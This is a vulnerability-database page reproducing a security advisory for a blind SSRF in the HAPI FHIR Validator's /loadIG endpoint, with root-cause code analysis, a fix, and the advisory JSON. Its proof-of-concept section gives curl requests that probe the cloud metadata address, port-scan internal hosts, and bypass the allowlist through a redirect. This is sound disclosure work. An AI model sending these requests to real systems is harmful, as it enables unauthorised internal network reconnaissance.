Vulnerability-Lookup

GHSA-3WW8-JW56-9F5H

Vulnerability from github – Published: 2026-03-30 17:21 – Updated: 2026-03-31 18:55

Summary

FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing

Details

Summary

The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.

Details

Root cause chain:

LoadIGHTTPHandler.handle() reads the ig field from user-supplied JSON and passes it directly to IgLoader.loadIg() with no validation:

// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);

loadIg() calls loadIgSource(srcPackage, recursive, true) with explore=true (IgLoader.java:153).
loadIgSource() checks Common.isNetworkPath(src) which only verifies the URL starts with http: or https: — no host/IP validation (Common.java:14-16).
The URL reaches ManagedWebAccess.get() which calls inAllowedPaths(). This check is a no-op by default because allowedDomains is initialized as an empty list, and the code explicitly returns true when empty:

// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
    if (allowedDomains.isEmpty()) {
        return true;  // DEFAULT: all domains allowed
    }
    // ...
}

The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.

SimpleHTTPClient.get() makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against inAllowedPaths():

// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
     HttpURLConnection.HTTP_MOVED_TEMP,
     307, 308:
    String location = connection.getHeaderField("Location");
    url = new URL(originalUrl, location);  // No domain re-validation
    continue;

The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):

server = HttpServer.create(new InetSocketAddress(port), 0);

Errors propagate back to the attacker with exception details:

// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
    OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);

Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.

PoC

Start the FHIR Validator in HTTP server mode:

java -jar validator_cli.jar -server -port 8080

Probe a cloud metadata endpoint:

curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'

Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).

Port scan an internal host:

# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:8080/"}'

# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:9999/"}'

Redirect bypass (if allowedDomains were configured):

# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://allowed-domain.com/redir"}'

The validator follows the redirect to the internal target without re-checking the domain allowlist.

Impact

An unauthenticated attacker with network access to the FHIR Validator HTTP service can:

Probe internal network services — differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)
Access cloud metadata endpoints — reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position
Map internal network topology — systematically enumerate internal hosts and services
Bypass domain restrictions via redirects — even if allowedDomains is configured, redirect following does not re-validate targets
Amplify reconnaissance — each /loadIG call with explore=true generates multiple outbound requests (package.tgz, JSON, XML variants)

This is a blind SSRF — the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.

Recommended Fix

Add URL validation in LoadIGHTTPHandler before passing to loadIg() — reject private/internal IP ranges and non-standard ports:

// LoadIGHTTPHandler.java — add before line 43
if (Common.isNetworkPath(ig)) {
    URL url = new URL(ig);
    InetAddress addr = InetAddress.getByName(url.getHost());
    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||
        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
        sendOperationOutcome(exchange, 400,
            OperationOutcomeUtilities.createError("URL targets a private/internal address"),
            getAcceptHeader(exchange));
        return;
    }
}

Re-validate redirect targets in SimpleHTTPClient.get() — check inAllowedPaths() for each redirect URL:

// SimpleHTTPClient.java — inside the redirect case (after line 98)
url = new URL(originalUrl, location);
if (!ManagedWebAccess.inAllowedPaths(url.toString())) {
    throw new IOException("Redirect target '" + url + "' is not in allowed domains");
}

Configure allowedDomains by default to restrict outbound requests to known FHIR registries (e.g., packages.fhir.org, hl7.org), or require explicit opt-in for open access.
Add authentication to the HTTP service, at minimum for state-changing endpoints like /loadIG.

Severity ?

5.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:21:28Z",
    "nvd_published_at": "2026-03-31T17:16:32Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `/loadIG` HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With `explore=true` (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.\n\n## Details\n\n**Root cause chain:**\n\n1. `LoadIGHTTPHandler.handle()` reads the `ig` field from user-supplied JSON and passes it directly to `IgLoader.loadIg()` with no validation:\n\n```java\n// LoadIGHTTPHandler.java:35,43\nString ig = wrapper.asString(\"ig\");\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);\n```\n\n2. `loadIg()` calls `loadIgSource(srcPackage, recursive, true)` with `explore=true` (IgLoader.java:153).\n\n3. `loadIgSource()` checks `Common.isNetworkPath(src)` which only verifies the URL starts with `http:` or `https:` \u2014 no host/IP validation (Common.java:14-16).\n\n4. The URL reaches `ManagedWebAccess.get()` which calls `inAllowedPaths()`. This check is a no-op by default because `allowedDomains` is initialized as an empty list, and the code explicitly returns `true` when empty:\n\n```java\n// ManagedWebAccess.java:104-106\nstatic boolean inAllowedPaths(String pathname) {\n    if (allowedDomains.isEmpty()) {\n        return true;  // DEFAULT: all domains allowed\n    }\n    // ...\n}\n```\n\nThe source code has a `//TODO get this from fhir settings` comment (line 82) confirming this is an incomplete security control.\n\n5. `SimpleHTTPClient.get()` makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against `inAllowedPaths()`:\n\n```java\n// SimpleHTTPClient.java:88-99\ncase HttpURLConnection.HTTP_MOVED_PERM,\n     HttpURLConnection.HTTP_MOVED_TEMP,\n     307, 308:\n    String location = connection.getHeaderField(\"Location\");\n    url = new URL(originalUrl, location);  // No domain re-validation\n    continue;\n```\n\n6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):\n\n```java\nserver = HttpServer.create(new InetSocketAddress(port), 0);\n```\n\n7. Errors propagate back to the attacker with exception details:\n\n```java\n// LoadIGHTTPHandler.java:49\nsendOperationOutcome(exchange, 500,\n    OperationOutcomeUtilities.createError(\"Failed to load IG: \" + e.getMessage()), ...);\n```\n\n**Redirect bypass:** Even if `allowedDomains` were configured, the domain check in `ManagedWebAccessor.setupSimpleHTTPClient()` (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.\n\n## PoC\n\n1. Start the FHIR Validator in HTTP server mode:\n```bash\njava -jar validator_cli.jar -server -port 8080\n```\n\n2. Probe a cloud metadata endpoint:\n```bash\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://169.254.169.254/latest/meta-data/\"}\u0027\n```\n\nExpected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).\n\n3. Port scan an internal host:\n```bash\n# Open port \u2014 returns quickly with a parse error (content received but not valid FHIR)\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://10.0.0.1:8080/\"}\u0027\n\n# Closed port \u2014 returns with \"Connection refused\"\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://10.0.0.1:9999/\"}\u0027\n```\n\n4. Redirect bypass (if allowedDomains were configured):\n```bash\n# Attacker hosts redirect: http://allowed-domain.com/redir \u2192 http://127.0.0.1:8080/admin\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://allowed-domain.com/redir\"}\u0027\n```\n\nThe validator follows the redirect to the internal target without re-checking the domain allowlist.\n\n## Impact\n\nAn unauthenticated attacker with network access to the FHIR Validator HTTP service can:\n\n- **Probe internal network services** \u2014 differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)\n- **Access cloud metadata endpoints** \u2014 reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator\u0027s network position\n- **Map internal network topology** \u2014 systematically enumerate internal hosts and services\n- **Bypass domain restrictions via redirects** \u2014 even if allowedDomains is configured, redirect following does not re-validate targets\n- **Amplify reconnaissance** \u2014 each `/loadIG` call with `explore=true` generates multiple outbound requests (package.tgz, JSON, XML variants)\n\nThis is a blind SSRF \u2014 the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.\n\n## Recommended Fix\n\n1. **Add URL validation** in `LoadIGHTTPHandler` before passing to `loadIg()` \u2014 reject private/internal IP ranges and non-standard ports:\n\n```java\n// LoadIGHTTPHandler.java \u2014 add before line 43\nif (Common.isNetworkPath(ig)) {\n    URL url = new URL(ig);\n    InetAddress addr = InetAddress.getByName(url.getHost());\n    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||\n        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {\n        sendOperationOutcome(exchange, 400,\n            OperationOutcomeUtilities.createError(\"URL targets a private/internal address\"),\n            getAcceptHeader(exchange));\n        return;\n    }\n}\n```\n\n2. **Re-validate redirect targets** in `SimpleHTTPClient.get()` \u2014 check `inAllowedPaths()` for each redirect URL:\n\n```java\n// SimpleHTTPClient.java \u2014 inside the redirect case (after line 98)\nurl = new URL(originalUrl, location);\nif (!ManagedWebAccess.inAllowedPaths(url.toString())) {\n    throw new IOException(\"Redirect target \u0027\" + url + \"\u0027 is not in allowed domains\");\n}\n```\n\n3. **Configure `allowedDomains` by default** to restrict outbound requests to known FHIR registries (e.g., `packages.fhir.org`, `hl7.org`), or require explicit opt-in for open access.\n\n4. **Add authentication** to the HTTP service, at minimum for state-changing endpoints like `/loadIG`.",
  "id": "GHSA-3ww8-jw56-9f5h",
  "modified": "2026-03-31T18:55:39Z",
  "published": "2026-03-30T17:21:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-3ww8-jw56-9f5h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34360"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing"
}

CVE-2026-34360 (GCVE-0-2026-34360)

Vulnerability from cvelistv5 – Published: 2026-03-31 16:56 – Updated: 2026-03-31 16:56

Title

HAPI FHIR: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing

Summary

HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.

Severity ?

5.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	hapifhir	org.hl7.fhir.core	Affected: < 6.9.4

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-3WW8-JW56-9F5H

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-34360 (GCVE-0-2026-34360)

Tags

Sightings

Nomenclature